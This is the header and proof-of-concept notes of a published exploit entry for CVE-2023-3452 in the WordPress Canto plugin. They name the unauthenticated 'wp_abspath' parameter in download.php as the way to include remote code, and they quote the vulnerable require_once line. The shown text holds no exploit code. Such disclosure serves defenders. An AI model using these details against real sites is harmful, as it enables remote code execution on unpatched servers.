# Exploit Title: Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)
# Date: 04/11/2023
# Exploit Author: Leopoldo Angulo (leoanggal1)
# Vendor Homepage: https://wordpress.org/plugins/canto/
# Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip
# Version: All versions of Canto Plugin prior to 3.0.5
# Tested on: Ubuntu 22.04, Wordpress 6.3.2, Canto Plugin 3.0.4
# CVE : CVE-2023-3452

#PoC Notes:
#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)
#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:
#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...
#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.
